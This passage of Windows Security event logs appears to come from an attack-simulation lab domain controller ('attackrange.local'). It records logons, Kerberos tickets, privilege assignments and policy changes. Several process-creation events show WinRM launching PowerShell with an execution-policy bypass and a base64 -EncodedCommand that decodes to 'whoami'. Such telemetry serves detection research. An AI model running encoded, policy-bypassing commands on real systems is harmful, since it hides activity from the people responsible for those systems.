Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253848 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x61DDE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253847 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6084F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x125c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1248 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253846 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6084F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253845 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x61691 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253844 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x61691 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253843 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253842 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253841 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253840 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6084F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253839 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6084F - -Process Information: - New Process ID: 0x11d4 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253838 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6084F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253837 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6084F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253836 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253835 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253834 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253833 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5D59D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253832 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\System32\taskhostw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: taskhostw.exe SYSTEM - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253831 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x593D6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253830 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5D59D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253829 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5D59D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253828 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253827 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253826 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253825 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5B11A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4713 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=253824 -Keywords=Audit Success -Message=Kerberos policy was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Changes Made: -('--' means no changes, otherwise each change is shown as: -(Parameter Name): (new value) (old value)) -KerOpts: 0x80 (none); KerMinT: 0x53d1ac1000 (none); KerMaxT: 0x53d1ac1000 (none); KerMaxR: 0x58028e44000 (none); KerProxy: 0xb2d05e00 (none); KerLogoff: 0x9 (none); -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4739 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=253823 -Keywords=Audit Success -Message=Domain Policy was changed. - -Change Type: Password Policy modified - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Domain: - Domain Name: ATTACKRANGE - Domain ID: ATTACKRANGE\ - -Changed Attributes: - Min. Password Age: - Max. Password Age: - Force Logoff: ɢ - Lockout Threshold: - - Lockout Observation Window: - - Lockout Duration: - - Password Properties: - - Min. Password Length: - - Password History Length: - - Machine Account Quota: 7 - Mixed Domain Mode: 24 - Domain Behavior Version: - - OEM Information: - - -Additional Information: - Privileges: - -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253822 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5B11A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253821 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5B11A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the 